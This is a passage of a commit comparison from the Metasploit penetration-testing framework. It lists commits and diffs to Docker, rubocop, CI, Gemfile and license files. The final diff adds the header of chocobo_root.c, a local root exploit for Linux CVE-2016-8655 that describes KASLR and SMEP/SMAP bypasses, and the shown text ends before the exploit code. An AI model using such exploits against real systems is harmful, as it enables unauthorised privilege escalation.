Compare commits
319 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| d78f2e7bbd | |||
| 196b302897 | |||
| 0e5e151403 | |||
| e6a7ec3276 | |||
| 8243207223 | |||
| a177e762d1 | |||
| 89e9f60121 | |||
| 984384b59d | |||
| 016ee4d460 | |||
| 1eabf5dd3d | |||
| 81368bef7a | |||
| 7b3169ad0a | |||
| 9b152cec72 | |||
| 9e326d7c88 | |||
| 9f8dd68d0d | |||
| 5aa0078f4b | |||
| d5019be697 | |||
| a51c1209ab | |||
| 597a64b61b | |||
| bacab0507b | |||
| 06d3ab12a1 | |||
| 4a93947b1a | |||
| 6e71f5c5fd | |||
| 9a273a2663 | |||
| 012de0f6b1 | |||
| cbac801b88 | |||
| bbb5ff8ad4 | |||
| f9d27aaa30 | |||
| 06711c6da9 | |||
| 2f50df7fe7 | |||
| 14ff692d12 | |||
| 78c07b86c4 | |||
| 72d8f5ba22 | |||
| 3bc5b0bdcb | |||
| afa3b3a83f | |||
| 1de1b04c4f | |||
| a75b37579d | |||
| a260716305 | |||
| bbbd81bf1f | |||
| b2b97db28b | |||
| 80b16ea645 | |||
| 76a47b81bc | |||
| 0aaae09e5c | |||
| 78f546ce81 | |||
| 0901f35f9c | |||
| dcbc871883 | |||
| 75196b4fc6 | |||
| 9785ace675 | |||
| a74b2b5716 | |||
| 935fa6414e | |||
| 38465e69a8 | |||
| 6c669ecdfc | |||
| e0317671fe | |||
| 8739befa70 | |||
| d6cea3523a | |||
| ad33d72e6e | |||
| 635f483b42 | |||
| f4d9788454 | |||
| 37767e9d4c | |||
| 9f2a442d9b | |||
| a14892774f | |||
| 7382928f10 | |||
| c38bca1799 | |||
| 3b8280c33f | |||
| 173171e2c8 | |||
| 0ba4e349a1 | |||
| 009e643ae3 | |||
| 188b02d1f5 | |||
| 3b7d2c8177 | |||
| 92ada42fc5 | |||
| b3ac70f539 | |||
| 1d7ecb6d9e | |||
| 492b6003b5 | |||
| d340ef2632 | |||
| c23cbde8a1 | |||
| ab12eb8c50 | |||
| 2aa7904270 | |||
| 6ea0e734f9 | |||
| efc9c1724f | |||
| 0949bedf67 | |||
| e5db541726 | |||
| 9ea69b1e35 | |||
| 505eff4403 | |||
| a44bcff2d8 | |||
| abfcdc3fa7 | |||
| 6cbd7ba895 | |||
| d2a43d934d | |||
| 01b4b52407 | |||
| 63e096836f | |||
| b958526b6a | |||
| 8bacddb18f | |||
| 0bb0e78599 | |||
| 3c677aa6bf | |||
| 6b9be37741 | |||
| c6d92e3123 | |||
| 5b42a81d3a | |||
| c3ecbb723d | |||
| e43686177a | |||
| 4e34413026 | |||
| a8a0dd3fcb | |||
| 3fae373270 | |||
| d394146339 | |||
| 876df392f1 | |||
| 084e6b1db3 | |||
| 1743730158 | |||
| c9ae351156 | |||
| c5db4c5021 | |||
| fcafc54db1 | |||
| 62c6340d70 | |||
| 06062f0347 | |||
| 69d995f98c | |||
| ded6a50883 | |||
| 8707047f41 | |||
| 914f8ba872 | |||
| 4765ffc05a | |||
| 706b87d085 | |||
| ef4fd1dc75 | |||
| 9d5ab1dedf | |||
| c2bf848ba9 | |||
| 7f62d49b2a | |||
| 1557540b08 | |||
| f4810c1085 | |||
| f956bb9943 | |||
| d98e85f97c | |||
| c3f9ee2ae3 | |||
| d6f23071ca | |||
| 61da48fc5d | |||
| d192be7764 | |||
| 5560b201b0 | |||
| 6b15be18e7 | |||
| 707b358ad6 | |||
| 60376fe3f4 | |||
| 10ed6637ed | |||
| c7d5d1f489 | |||
| 5d9d0b19ee | |||
| 9d076f6842 | |||
| 36ba1468e8 | |||
| 3b87bf5a03 | |||
| 6108d79dcd | |||
| 409ae22a7e | |||
| fdf9ea04a6 | |||
| 5b1577e46d | |||
| 135b7c6b92 | |||
| 17040e9894 | |||
| 71a1ad69dc | |||
| 57411b4ef8 | |||
| b870091380 | |||
| c31a8ab687 | |||
| 72d2b46ac8 | |||
| 26d333357b | |||
| 584a6ca796 | |||
| 106fbf8a17 | |||
| c56e571b18 | |||
| b860985347 | |||
| a94e6559e6 | |||
| 8bf76a71c2 | |||
| 517b32c836 | |||
| 37576d19a1 | |||
| 030eae5f61 | |||
| 2ad3124f85 | |||
| d756db4f9d | |||
| ef7b77ed01 | |||
| dcb514e5ac | |||
| 7d072ccbcd | |||
| 715279311a | |||
| 8af0d9ceaa | |||
| 44ac2e9c58 | |||
| bf43542743 | |||
| 8f4895c8e7 | |||
| c5e231cfbf | |||
| 028d329b4d | |||
| 8c60a73731 | |||
| bcc0a2a94c | |||
| 149f04cc58 | |||
| 4778de053a | |||
| 49bc0024c1 | |||
| fbee660136 | |||
| 64019d3301 | |||
| 4ef90d8d6c | |||
| c1b50f728b | |||
| f6223c0193 | |||
| 9be7bc9b21 | |||
| d3b4f91b4c | |||
| 6909c635bc | |||
| 31bf6d1bd0 | |||
| 2731b91036 | |||
| e57a1fbd43 | |||
| d5edb566f5 | |||
| 00d5fcfd97 | |||
| 0c86296d99 | |||
| d2150c8d15 | |||
| 4841f29190 | |||
| 6060549512 | |||
| b63a018509 | |||
| 4839e8e7c8 | |||
| 80f34c9b2d | |||
| 3fd2862f76 | |||
| 096ca90953 | |||
| 667cc5bcca | |||
| 789034a06c | |||
| b2f112fd2b | |||
| fac7f3d5be | |||
| 95a5ebc1e7 | |||
| 735fbc5c9f | |||
| fc8cafe81a | |||
| bffba1e5e3 | |||
| 3021a3202b | |||
| 0a5e9d922f | |||
| 2af4f56382 | |||
| ac6fede928 | |||
| c7cd9ca395 | |||
| fd029eda62 | |||
| 178afdaed1 | |||
| a189673782 | |||
| 826b986018 | |||
| 4e8fe54c6c | |||
| c1d701f656 | |||
| dc913b60e4 | |||
| 40220b5ab6 | |||
| 72cb9f358e | |||
| eb54ae4ec0 | |||
| 3635a92f5a | |||
| af8736cad6 | |||
| 72efbb9534 | |||
| d614e06bfa | |||
| 59a41f04f7 | |||
| 8c2484d2da | |||
| d2c203bcb9 | |||
| 13c8072bca | |||
| 5dede95e98 | |||
| 2395f839d0 | |||
| a27b2bff3c | |||
| f581942c7f | |||
| b3962c73b0 | |||
| 2d10a9a201 | |||
| 0b719772cb | |||
| d89a8c3eb9 | |||
| f055bccc2a | |||
| 51a685bcc7 | |||
| d2e71cfc8b | |||
| 60e37e1c78 | |||
| 31ed50ac92 | |||
| 004e228a52 | |||
| e8ad3a98e9 | |||
| b9a8f227fb | |||
| 87dcb13413 | |||
| 1045c1fc11 | |||
| c5a73bdea3 | |||
| 7cde510eb6 | |||
| 358954e15c | |||
| 0cee8485d0 | |||
| bdc0b47844 | |||
| aecc1f143f | |||
| f281b45384 | |||
| e485b152e3 | |||
| 1126acb201 | |||
| 37cb2d77e7 | |||
| 6c3168c541 | |||
| 73bcec5d11 | |||
| 090f7c8bd6 | |||
| 72ed11574b | |||
| cd7187023c | |||
| 32bd516e70 | |||
| 656eb1150a | |||
| 55ae1f7bbe | |||
| 4d4538dceb | |||
| cd723ac86e | |||
| b0da7fcd26 | |||
| 0fe2fb9186 | |||
| a7e779d987 | |||
| b696665adc | |||
| 909b787a56 | |||
| 5457cec81c | |||
| 64c0d60fbf | |||
| 49c9b3cf1e | |||
| e82ff28374 | |||
| 1fdc4bdabb | |||
| 6c350be24e | |||
| 016af01fd8 | |||
| ce3d5d77e4 | |||
| ec12d61702 | |||
| 445b72fdcd | |||
| 48c3c7cd62 | |||
| 64746d8325 | |||
| b7fbffa331 | |||
| 4fa68f29d9 | |||
| a9d4a98d80 | |||
| cca76d2217 | |||
| bff02efad4 | |||
| 395320ba97 | |||
| a87ae41d81 | |||
| 0d98135fcb | |||
| c2379308cf | |||
| af0c58c2ae | |||
| b515a582f0 | |||
| 25652c6c17 | |||
| 926ce42a01 | |||
| 2ea9ab2625 | |||
| a4022f7b8f | |||
| 06b702e86b | |||
| 8f2de5cd41 | |||
| a136841794 | |||
| 15f631dcb5 | |||
| d6beb94c59 | |||
| 5ec3da843e | |||
| 294a8e0ada | |||
| bb73d2c07e | |||
| 47682e3f37 | |||
| 5fc1988d63 | |||
| ab610f599b | |||
| 7da3bdd081 | |||
| 10fafb62bb | |||
| 512192d3b0 | |||
| 55c345418d | |||
| b8fc2c0213 | |||
| 23619431aa | |||
| 0916d8402e | |||
| bf6540585f | |||
| 898aa82933 |
@@ -4,6 +4,7 @@
|
||||
docker-compose*.yml
|
||||
docker/
|
||||
!docker/msfconsole.rc
|
||||
!docker/entrypoint.sh
|
||||
README.md
|
||||
.git/
|
||||
.github/
|
||||
|
||||
+20
-3
@@ -17,6 +17,10 @@ Metrics/ClassLength:
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
|
||||
Style/ClassAndModuleChildren:
|
||||
Enabled: false
|
||||
Description: 'Forced nesting is harmful for grepping and general code comprehension'
|
||||
|
||||
Metrics/AbcSize:
|
||||
Enabled: false
|
||||
Description: 'This is often a red-herring'
|
||||
@@ -29,6 +33,10 @@ Metrics/PerceivedComplexity:
|
||||
Enabled: false
|
||||
Description: 'This is often a red-herring'
|
||||
|
||||
Style/TernaryParentheses:
|
||||
Enabled: false
|
||||
Description: 'This outright produces bugs'
|
||||
|
||||
Style/FrozenStringLiteralComment:
|
||||
Enabled: false
|
||||
Description: 'We cannot support this yet without a lot of things breaking'
|
||||
@@ -37,6 +45,10 @@ Style/RedundantReturn:
|
||||
Description: 'This often looks weird when mixed with actual returns, and hurts nothing'
|
||||
Enabled: false
|
||||
|
||||
Style/NumericPredicate:
|
||||
Description: 'This adds no efficiency nor space saving'
|
||||
Enabled: false
|
||||
|
||||
Style/Documentation:
|
||||
Enabled: true
|
||||
Description: 'Most Metasploit modules do not have class documentation.'
|
||||
@@ -92,9 +104,10 @@ Style/NumericLiterals:
|
||||
Enabled: false
|
||||
Description: 'This often hurts readability for exploit-ish code.'
|
||||
|
||||
Layout/SpaceInsideBrackets:
|
||||
Enabled: false
|
||||
Description: 'Until module template are final, most modules will fail this.'
|
||||
Layout/AlignParameters:
|
||||
Enabled: true
|
||||
EnforcedStyle: 'with_fixed_indentation'
|
||||
Description: 'initialize method of every module has fixed indentation for Name, Description, etc'
|
||||
|
||||
Style/StringLiterals:
|
||||
Enabled: false
|
||||
@@ -104,6 +117,10 @@ Style/WordArray:
|
||||
Enabled: false
|
||||
Description: 'Metasploit prefers consistent use of []'
|
||||
|
||||
Style/IfUnlessModifier:
|
||||
Enabled: false
|
||||
Description: 'This style might save a couple of lines, but often makes code less clear'
|
||||
|
||||
Style/RedundantBegin:
|
||||
Exclude:
|
||||
# this pattern is very common and somewhat unavoidable
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
2.4.2
|
||||
2.5.1
|
||||
|
||||
+3
-3
@@ -11,9 +11,9 @@ addons:
|
||||
- graphviz
|
||||
language: ruby
|
||||
rvm:
|
||||
- '2.2'
|
||||
- '2.3.5'
|
||||
- '2.4.2'
|
||||
- '2.3.7'
|
||||
- '2.4.4'
|
||||
- '2.5.1'
|
||||
|
||||
env:
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
|
||||
|
||||
+6
-1
@@ -36,8 +36,13 @@ and Metasploit's [Common Coding Mistakes].
|
||||
* **Do** get [Rubocop] relatively quiet against the code you are adding or modifying.
|
||||
* **Do** follow the [50/72 rule] for Git commit messages.
|
||||
* **Don't** use the default merge messages when merging from other branches.
|
||||
* **Do** create a [topic branch] to work on instead of working directly on `master`.
|
||||
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
|
||||
* **Do** create a [topic branch] to work on instead of working directly on `master`.
|
||||
If you do not send a PR from a topic branch, the history of your PR will be
|
||||
lost as soon as you update your own master branch. See
|
||||
https://github.com/rapid7/metasploit-framework/pull/8000 for an example of
|
||||
this in action.
|
||||
|
||||
|
||||
### Pull Requests
|
||||
|
||||
|
||||
+13
-7
@@ -1,9 +1,8 @@
|
||||
FROM ruby:2.4.2-alpine
|
||||
FROM ruby:2.5.1-alpine3.7
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
|
||||
ENV APP_HOME /usr/src/metasploit-framework/
|
||||
ENV MSF_USER msf
|
||||
ENV NMAP_PRIVILEGED=""
|
||||
ENV BUNDLE_IGNORE_MESSAGES="true"
|
||||
WORKDIR $APP_HOME
|
||||
@@ -15,19 +14,23 @@ COPY lib/msf/util/helper.rb $APP_HOME/lib/msf/util/helper.rb
|
||||
|
||||
RUN apk update && \
|
||||
apk add \
|
||||
bash \
|
||||
sqlite-libs \
|
||||
nmap \
|
||||
nmap-scripts \
|
||||
nmap-nselibs \
|
||||
postgresql-libs \
|
||||
python \
|
||||
python3 \
|
||||
ncurses \
|
||||
libcap \
|
||||
su-exec \
|
||||
&& apk add --virtual .ruby-builddeps \
|
||||
autoconf \
|
||||
bison \
|
||||
build-base \
|
||||
ruby-dev \
|
||||
openssl-dev \
|
||||
libressl-dev \
|
||||
readline-dev \
|
||||
sqlite-dev \
|
||||
postgresql-dev \
|
||||
@@ -45,13 +48,16 @@ RUN apk update && \
|
||||
&& apk del .ruby-builddeps \
|
||||
&& rm -rf /var/cache/apk/*
|
||||
|
||||
RUN adduser -g msfconsole -D $MSF_USER
|
||||
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
|
||||
|
||||
USER $MSF_USER
|
||||
|
||||
ADD ./ $APP_HOME
|
||||
|
||||
# we need this entrypoint to dynamically create a user
|
||||
# matching the hosts UID and GID so we can mount something
|
||||
# from the users home directory. If the IDs don't match
|
||||
# it results in access denied errors. Once docker has
|
||||
# a solution for this we can revert it back to normal
|
||||
ENTRYPOINT ["docker/entrypoint.sh"]
|
||||
|
||||
CMD ["./msfconsole", "-r", "docker/msfconsole.rc"]
|
||||
|
||||
@@ -19,10 +19,8 @@ group :development do
|
||||
# module documentation
|
||||
gem 'octokit'
|
||||
# Metasploit::Aggregator external session proxy
|
||||
gem 'metasploit-aggregator' if [
|
||||
'x86-mingw32', 'x64-mingw32',
|
||||
'x86_64-linux', 'x86-linux',
|
||||
'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin'))
|
||||
# disabled during 2.5 transition until aggregator is available
|
||||
#gem 'metasploit-aggregator'
|
||||
end
|
||||
|
||||
group :development, :test do
|
||||
|
||||
+49
-83
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.16.32)
|
||||
metasploit-framework (4.16.58)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@@ -16,11 +16,11 @@ PATH
|
||||
json
|
||||
metasm
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-credential (< 3.0.0)
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.25)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.3.3)
|
||||
metasploit-payloads (= 1.3.37)
|
||||
metasploit_data_models (< 3.0.0)
|
||||
metasploit_payloads-mettle (= 0.3.8)
|
||||
mqtt
|
||||
msgpack
|
||||
nessus_rest
|
||||
@@ -38,7 +38,6 @@ PATH
|
||||
pg (= 0.20.0)
|
||||
railties
|
||||
rb-readline
|
||||
rbnacl (< 5.0.0)
|
||||
recog
|
||||
redcarpet
|
||||
rex-arch
|
||||
@@ -59,7 +58,8 @@ PATH
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-zip
|
||||
ruby_smb
|
||||
ruby-macho
|
||||
ruby_smb (= 0.0.18)
|
||||
rubyntlm
|
||||
rubyzip
|
||||
sqlite3
|
||||
@@ -73,7 +73,7 @@ PATH
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.0.2)
|
||||
Ascii85 (1.0.3)
|
||||
actionpack (4.2.10)
|
||||
actionview (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
@@ -103,20 +103,20 @@ GEM
|
||||
public_suffix (>= 2.0.2, < 4.0)
|
||||
afm (0.2.2)
|
||||
arel (6.0.4)
|
||||
arel-helpers (2.5.0)
|
||||
arel-helpers (2.7.0)
|
||||
activerecord (>= 3.1.0, < 6)
|
||||
backports (3.11.0)
|
||||
bcrypt (3.1.11)
|
||||
backports (3.11.3)
|
||||
bcrypt (3.1.12)
|
||||
bcrypt_pbkdf (1.0.0)
|
||||
bindata (2.4.1)
|
||||
bindata (2.4.3)
|
||||
bit-struct (0.16)
|
||||
builder (3.2.3)
|
||||
coderay (1.1.2)
|
||||
concurrent-ruby (1.0.5)
|
||||
crass (1.0.3)
|
||||
crass (1.0.4)
|
||||
diff-lcs (1.3)
|
||||
dnsruby (1.60.2)
|
||||
docile (1.1.5)
|
||||
docile (1.3.0)
|
||||
erubis (2.7.0)
|
||||
factory_girl (4.9.0)
|
||||
activesupport (>= 3.0.0)
|
||||
@@ -125,53 +125,28 @@ GEM
|
||||
railties (>= 3.0.0)
|
||||
faker (1.8.7)
|
||||
i18n (>= 0.7)
|
||||
faraday (0.13.1)
|
||||
faraday (0.15.1)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
ffi (1.9.18)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.3.5)
|
||||
google-protobuf (3.5.1)
|
||||
googleapis-common-protos-types (1.0.1)
|
||||
google-protobuf (~> 3.0)
|
||||
googleauth (0.6.2)
|
||||
faraday (~> 0.12)
|
||||
jwt (>= 1.4, < 3.0)
|
||||
logging (~> 2.0)
|
||||
memoist (~> 0.12)
|
||||
multi_json (~> 1.11)
|
||||
os (~> 0.9)
|
||||
signet (~> 0.7)
|
||||
grpc (1.8.3)
|
||||
google-protobuf (~> 3.1)
|
||||
googleapis-common-protos-types (~> 1.0.0)
|
||||
googleauth (>= 0.5.1, < 0.7)
|
||||
fivemat (1.3.6)
|
||||
hashery (2.1.2)
|
||||
i18n (0.9.1)
|
||||
i18n (0.9.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.1.0)
|
||||
jwt (2.1.0)
|
||||
little-plugger (1.1.4)
|
||||
logging (2.2.2)
|
||||
little-plugger (~> 1.1)
|
||||
multi_json (~> 1.10)
|
||||
loofah (2.1.1)
|
||||
loofah (2.2.2)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.5.9)
|
||||
memoist (0.16.0)
|
||||
metasm (1.0.3)
|
||||
metasploit-aggregator (1.0.0)
|
||||
grpc
|
||||
rex-arch
|
||||
metasploit-concern (2.0.5)
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-credential (2.0.12)
|
||||
metasploit-credential (2.0.14)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models
|
||||
metasploit_data_models (< 3.0.0)
|
||||
pg
|
||||
railties
|
||||
rex-socket
|
||||
@@ -181,41 +156,39 @@ GEM
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.25)
|
||||
metasploit_data_models (2.0.15)
|
||||
metasploit-payloads (1.3.37)
|
||||
metasploit_data_models (2.0.16)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
arel-helpers
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
pg
|
||||
pg (= 0.20.0)
|
||||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.3.3)
|
||||
metasploit_payloads-mettle (0.3.8)
|
||||
method_source (0.9.0)
|
||||
mini_portile2 (2.3.0)
|
||||
minitest (5.11.1)
|
||||
minitest (5.11.3)
|
||||
mqtt (0.5.0)
|
||||
msgpack (1.2.2)
|
||||
multi_json (1.13.1)
|
||||
msgpack (1.2.4)
|
||||
multipart-post (2.0.0)
|
||||
nessus_rest (0.1.6)
|
||||
net-ssh (4.2.0)
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.1.1)
|
||||
nokogiri (1.8.1)
|
||||
nexpose (7.2.0)
|
||||
nokogiri (1.8.2)
|
||||
mini_portile2 (~> 2.3.0)
|
||||
octokit (4.8.0)
|
||||
octokit (4.9.0)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
openssl-ccm (1.2.1)
|
||||
openvas-omp (0.0.4)
|
||||
os (0.9.6)
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.12.4)
|
||||
pdf-reader (2.0.0)
|
||||
pdf-reader (2.1.0)
|
||||
Ascii85 (~> 1.0.0)
|
||||
afm (~> 0.2.1)
|
||||
hashery (~> 2.0)
|
||||
@@ -223,15 +196,15 @@ GEM
|
||||
ttfunk
|
||||
pg (0.20.0)
|
||||
pg_array_parser (0.0.9)
|
||||
postgres_ext (3.0.0)
|
||||
activerecord (>= 4.0.0)
|
||||
postgres_ext (3.0.1)
|
||||
activerecord (~> 4.0)
|
||||
arel (>= 4.0.1)
|
||||
pg_array_parser (~> 0.0.9)
|
||||
pry (0.11.3)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.9.0)
|
||||
public_suffix (3.0.1)
|
||||
rack (1.6.8)
|
||||
public_suffix (3.0.2)
|
||||
rack (1.6.10)
|
||||
rack-test (0.6.3)
|
||||
rack (>= 1.0)
|
||||
rails-deprecated_sanitizer (1.0.3)
|
||||
@@ -240,18 +213,16 @@ GEM
|
||||
activesupport (>= 4.2.0, < 5.0)
|
||||
nokogiri (~> 1.6)
|
||||
rails-deprecated_sanitizer (>= 1.0.1)
|
||||
rails-html-sanitizer (1.0.3)
|
||||
loofah (~> 2.0)
|
||||
rails-html-sanitizer (1.0.4)
|
||||
loofah (~> 2.2, >= 2.2.2)
|
||||
railties (4.2.10)
|
||||
actionpack (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
rake (>= 0.8.7)
|
||||
thor (>= 0.18.1, < 2.0)
|
||||
rake (12.3.0)
|
||||
rake (12.3.1)
|
||||
rb-readline (0.5.5)
|
||||
rbnacl (4.0.2)
|
||||
ffi
|
||||
recog (2.1.17)
|
||||
recog (2.1.19)
|
||||
nokogiri
|
||||
redcarpet (3.4.0)
|
||||
rex-arch (0.1.13)
|
||||
@@ -262,12 +233,12 @@ GEM
|
||||
rex-core
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.12)
|
||||
rex-core (0.1.13)
|
||||
rex-encoder (0.1.4)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.16)
|
||||
rex-exploitation (0.1.19)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
@@ -290,14 +261,14 @@ GEM
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.10)
|
||||
rex-socket (0.1.14)
|
||||
rex-core
|
||||
rex-sslscan (0.1.5)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.2)
|
||||
rex-text (0.2.16)
|
||||
rex-text (0.2.20)
|
||||
rex-zip (0.1.3)
|
||||
rex-text
|
||||
rkelly-remix (0.0.7)
|
||||
@@ -323,7 +294,8 @@ GEM
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.7.0)
|
||||
rspec-support (3.7.1)
|
||||
ruby-macho (1.1.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby_smb (0.0.18)
|
||||
bindata
|
||||
@@ -334,13 +306,8 @@ GEM
|
||||
sawyer (0.8.1)
|
||||
addressable (>= 2.3.5, < 2.6)
|
||||
faraday (~> 0.8, < 1.0)
|
||||
signet (0.8.1)
|
||||
addressable (~> 2.3)
|
||||
faraday (~> 0.9)
|
||||
jwt (>= 1.5, < 3.0)
|
||||
multi_json (~> 1.10)
|
||||
simplecov (0.15.1)
|
||||
docile (~> 1.1.0)
|
||||
simplecov (0.16.1)
|
||||
docile (~> 1.1)
|
||||
json (>= 1.8, < 3)
|
||||
simplecov-html (~> 0.10.0)
|
||||
simplecov-html (0.10.2)
|
||||
@@ -350,9 +317,9 @@ GEM
|
||||
thread_safe (0.3.6)
|
||||
timecop (0.9.1)
|
||||
ttfunk (1.5.1)
|
||||
tzinfo (1.2.4)
|
||||
tzinfo (1.2.5)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2017.3)
|
||||
tzinfo-data (1.2018.5)
|
||||
tzinfo (>= 1.0.0)
|
||||
windows_error (0.1.2)
|
||||
xdr (2.0.0)
|
||||
@@ -367,7 +334,6 @@ PLATFORMS
|
||||
DEPENDENCIES
|
||||
factory_girl_rails
|
||||
fivemat
|
||||
metasploit-aggregator
|
||||
metasploit-framework!
|
||||
octokit
|
||||
pry
|
||||
@@ -380,4 +346,4 @@ DEPENDENCIES
|
||||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
1.16.1
|
||||
1.16.2
|
||||
|
||||
@@ -75,6 +75,10 @@ Files: lib/metasm.rb lib/metasm/* data/cpuinfo/*
|
||||
Copyright: 2006-2010 Yoann GUILLOT
|
||||
License: LGPL-2.1
|
||||
|
||||
Files: lib/msf/core/modules/external/python/async_timeout/*
|
||||
Copyright: 2016-2017 Andrew Svetlov
|
||||
License: Apache 2.0
|
||||
|
||||
Files: lib/net/dns.rb lib/net/dns/*
|
||||
Copyright: 2006 Marco Ceresa
|
||||
License: Ruby
|
||||
@@ -599,6 +603,54 @@ License: Artistic
|
||||
DAMAGES ARISING IN ANY WAY OUT OF THE USE OF THE PACKAGE, EVEN IF
|
||||
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
License: Apache
|
||||
Version 1.1, 2000
|
||||
Modifications by CORE Security Technologies
|
||||
.
|
||||
Copyright (c) 2000 The Apache Software Foundation. All rights
|
||||
reserved.
|
||||
.
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions
|
||||
are met:
|
||||
.
|
||||
1. Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
.
|
||||
2. Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in
|
||||
the documentation and/or other materials provided with the
|
||||
distribution.
|
||||
.
|
||||
3. The end-user documentation included with the redistribution,
|
||||
if any, must include the following acknowledgment:
|
||||
"This product includes software developed by
|
||||
CORE Security Technologies (http://www.coresecurity.com/)."
|
||||
Alternately, this acknowledgment may appear in the software itself,
|
||||
if and wherever such third-party acknowledgments normally appear.
|
||||
.
|
||||
4. The names "Impacket" and "CORE Security Technologies" must
|
||||
not be used to endorse or promote products derived from this
|
||||
software without prior written permission. For written
|
||||
permission, please contact oss@coresecurity.com.
|
||||
.
|
||||
5. Products derived from this software may not be called "Impacket",
|
||||
nor may "Impacket" appear in their name, without prior written
|
||||
permission of CORE Security Technologies.
|
||||
.
|
||||
THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
|
||||
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
|
||||
ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
|
||||
USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGE.
|
||||
|
||||
License: Apache
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
+1
-1
@@ -96,7 +96,7 @@ rex-rop_builder, 0.1.3, "New BSD"
|
||||
rex-socket, 0.1.8, "New BSD"
|
||||
rex-sslscan, 0.1.4, "New BSD"
|
||||
rex-struct2, 0.1.2, "New BSD"
|
||||
rex-text, 0.2.15, "New BSD"
|
||||
rex-text, 0.2.17, "New BSD"
|
||||
rex-zip, 0.1.3, "New BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
robots, 0.10.1, MIT
|
||||
|
||||
BIN
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,945 @@
|
||||
/*
|
||||
chocobo_root.c
|
||||
linux AF_PACKET race condition exploit for CVE-2016-8655.
|
||||
Includes KASLR and SMEP/SMAP bypasses.
|
||||
For Ubuntu 14.04 / 16.04 (x86_64) kernels 4.4.0 before 4.4.0-53.74.
|
||||
All kernel offsets have been tested on Ubuntu / Linux Mint.
|
||||
|
||||
vroom vroom
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
|
||||
user@ubuntu:~$ uname -a
|
||||
